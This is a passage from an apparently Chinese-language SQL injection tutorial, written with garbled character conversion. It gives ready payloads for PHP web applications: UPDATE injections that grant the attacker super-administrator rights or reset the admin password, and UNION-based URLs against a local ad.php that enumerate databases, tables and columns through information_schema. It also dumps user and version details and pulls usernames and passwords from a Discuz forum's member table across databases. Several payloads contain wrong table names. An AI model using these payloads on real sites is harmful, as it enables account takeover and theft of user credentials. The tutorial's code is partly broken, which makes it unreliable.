這樣就註冊成爲超級管理員了。但這種利用方法也有必定的侷限性,好比,我沒有須要改寫的變量如userlevel字段是數據庫的第一個字段,前面沒有地方給咱們注入,咱們也沒有辦法了。 或許INSERT還有更普遍的應用,你們能夠自行研究,但原理都是同樣的。 UPDATE 和INSERT相比,UPDATE的應用更加普遍,若是過濾不夠,足以改寫任何數據,仍是拿剛纔的註冊程序來講,數據結構也不變,咱們看一下用戶本身修改本身的資料,SQL語句通常都是這樣寫的: UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
整個SQL語句就變成這樣: UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
咱們是否是又變成超級管理員了?程序不更新userlevel字段,咱們本身來。 還有更加絕的,直接修改任意用戶的資料,仍是剛纔的例句,但此次安全一點,使用MD5加密: UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
儘管密碼被加密了,但咱們仍是能夠構造咱們須要的語句,咱們指定$password爲: mypass)' WHERE username='admin'#
這時整個語句變爲: UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
這樣就更改了更新的條件,我管你後面的代碼是否是在哭這說:咱們尚未執行啊。固然,也能夠從$id下手,指定$id爲: ' OR username='admin'
這時整個語句變爲: UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
前面爆管理員帳號密碼前有可能猜表都猜不到。這裏教你們暴庫,爆表,爆字段。 http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,schema_name,6,7,8 from information_schema.SCHEMATA limit 0,1/* 這樣會爆出一個數據庫。前面咱們垂手可得的能夠獲得一個當前鏈接的數據庫。 咱們要爆出的數據庫裏要存放管理員的用戶和密碼。 這裏limit 0,1/*的意思是爆出第一個庫的名字,若是要查看第二個數據庫名就增長limit後面的值,好比把0增長爲1就又爆出一個庫名。逐次加1就分別暴出了網站的其餘數據庫名。 已經知道網站數據庫名是study,繼續爆表。 http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.table where TABLE_SCHEMA=0x7374756479 limit 0,1/* 這裏0x7374756479就是study的16進制形式。成功爆出一個表名。咱們在增長limit後面的數字來逐一爆出數據庫中的其餘表名。 爆字段 http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,COLUMN_NAME,6,7,8 from information_schema.COLUMN_NAME where TABLE_NAME=0x61646D696E limit 0,1/* 成功爆出admin表中的一個字段。0x61646D696E爲admin的16進制。
有時候咱們用union聯合查詢前猜到的字段長度多是1,這樣對咱們就有所限制了。咱們能夠藉助concat函數來一次性爆出咱們所但願獲得的東西。具體用法是concat(咱們想要爆的,0x3A,咱們想要爆的,0x3A,咱們想要爆的……) http://127.0.0.1/ad.php?id=1 and 1=2 union select concat(user(),0x3A,database(),0x3A,version()) 0x3A是;的16進制形式。
PHP跨庫查詢。當前庫realmd,要跨到BBS的庫爲discuz,默認中discuz數據庫中存放用戶信息的表是cdb_members ,兩個字段爲username,password http://127.0.0.1/ad.php?id=1 and 1=1 union select 1,2,3,4,5,6,7,8 from discuz.cdb_members返回正常,說明跨庫查詢成功。而且數據庫和表都是存在的。 http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,username,3,password,5,6,7,8 from discuz.cdb.members where uid=1 延伸——跨庫後一樣能夠爆表爆字段。 http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.table where TABLE_SCHEMA=discuz limit 0,1/* http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,COLUMN_NAME,6,7,8 from information_schema.COLUMN_NAME where TABLE_NAME=discuz.cdb_members limit 0,1/* schema_name information_schema.SCHEMATA table_name information_schema.table TABLE_SCHEMA COLUMN_NAME information_schema.COLUMN_NAME TABLE_NAME 三.***思路